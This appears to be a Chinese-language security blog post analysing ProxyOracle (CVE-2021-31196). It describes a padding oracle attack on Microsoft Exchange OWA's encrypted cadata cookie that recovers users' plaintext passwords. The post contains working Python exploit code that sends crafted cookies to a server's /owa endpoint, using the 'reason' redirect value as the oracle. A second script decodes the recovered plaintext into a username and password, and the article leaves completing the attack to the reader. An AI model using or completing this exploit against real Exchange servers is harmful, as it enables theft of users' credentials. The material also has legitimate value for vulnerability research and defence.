ProxyOracle 利用分析2——CVE-2021-31196

发布于 2024-12-29 10:44:50 字数 5955 浏览 9 评论 0

0x00 前言

在上篇文章《ProxyOracle 利用分析 1——CVE-2021-31195》介绍了获得用户 Cookie 信息的思路,本文将要介绍如何通过 Padding Oracle Attack 还原出用户明文口令

0x01 简介

本文将要介绍以下内容:

  • 实现思路
  • 部分开源代码

0x02 实现思路

实现 Padding Oracle Attack 的前提条件:

1.获得密文和密文对应的 IV (初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果

对应到 Exchange 上面,具体信息如下:

(1) 获得密文和密文对应的 IV (初始化向量)

Cookie 信息中的 cadata 对应密文,cadataIV 对应 IV

(2) 能够触发密文的解密过程,且能够知道密文的解密结果

我们通过 dnsSpy 反编译 dll 能够获得详细的解密过程,方法如下:

使用 dnsSpy 打开文件 C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

依次定位到 Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)

如下图

Alt text

得到触发密文解密过程的方法:

访问 https://<url>/owa ,发送 GET 数据包,Cookie 中需要包含 cadata、cadataTTL、cadataKey、cadataIV 和 cadataSig

密文解密结果的判断:

发送 GET 数据包后,默认进行 302 跳转,并在响应内容中标记是否解密成功

解密结果可以通过查看 LogonReason 的定义进行判断

如下图

Alt text

从这里看出,0 代表 None,这里为格式错误,1 代表 Logoff,2 代表 InvalidCredentials,3 代表 Timeout,4 代表 ChangePasswordLogoff

我们在尝试解密时,当 reason=2,代表解密成功

当 reason=3 时,代表 Cookie 已过期,此时无法实现 Padding Oracle Attack

注:

Exchange 的 Cookie 有效期为 12 小时

0x03 部分开源代码

1.破解第 0 个分组的第 8 个字节

Python 实现的完整示例代码如下:

#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()


def checkFirstByte(url, flag):
    url1 = "https://" + url + "/owa/"    
    cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
    cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
    cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
    cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
    cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="

    cipher = base64.b64decode(cadata)
    bs = 16
    if len(cipher) % bs != 0:
        raise ValueError("The length of `cipher` must be a multiple of `bs`")

    cipher_blocks = []
    for i in range(0, len(cipher), bs):
        cipher_blocks.append(cipher[i: i + bs])

    bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag]) 
    bytecadata = bytetempdata + cipher_blocks[1]
    base64cadata = base64.b64encode(bytecadata).decode()

    cookie = {
        "cadata": base64cadata,
        "cadataTTL": cadataTTL,
        "cadataKey": cadataKey,
        "cadataIV": cadataIV,
        "cadataSig": cadataSig,
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)

    if response.status_code == 302 and "reason" in response.text:
        pattern_name = re.compile(r"reason=(.*?)\">here")
        name = pattern_name.findall(response.text)
        print(name[0], end='')
        if name[0] == "2":
            print("\ndecrypt:")
            print(bytecadata)
            sys.exit(0)
        else:
            return False

if __name__ == "__main__":
    for flag in range(0, 256):
        checkFirstByte("192.168.1.1", flag)

这里需要注意以下细节:

(1)0x00 至 0xFF 遍历

for i in range(0, 256):
    i = bytes([i])
    print(i)

(2) 密文分组

分组长度为 16

(3) 发送 GET 请求时设置 allow_redirects=False 来禁用跳转

2.由填充明文到实际明文

在我们完成整个 Padding Oracle Attack 后,会得到一段填充的明文

由填充明文到实际明文的完整示例代码如下:

#python3
import base64
import re

def unpad(s):
    exe = re.findall("..", s.hex())
    padding = int(exe[-1], 16)
    exe = exe[::-1]

    if padding == 0 or padding > 16:
        return 0

    for i in range(padding):
        if int(exe[i], 16) != padding:
            return 0
    return s[: -ord(s[len(s) - 1 :])]


decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()

print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])

代码执行结果如下图

Alt text

这里需要注意以下细节:

  • 得到填充明文后需要使用 PKCS7 进行数据填充
  • 实际明文的格式为 usename:password

虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的 Cookie 信息中,"lgn"显示了完整了用户名称

0x04 小结

本文介绍了通过 Padding Oracle Attack 还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
499 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文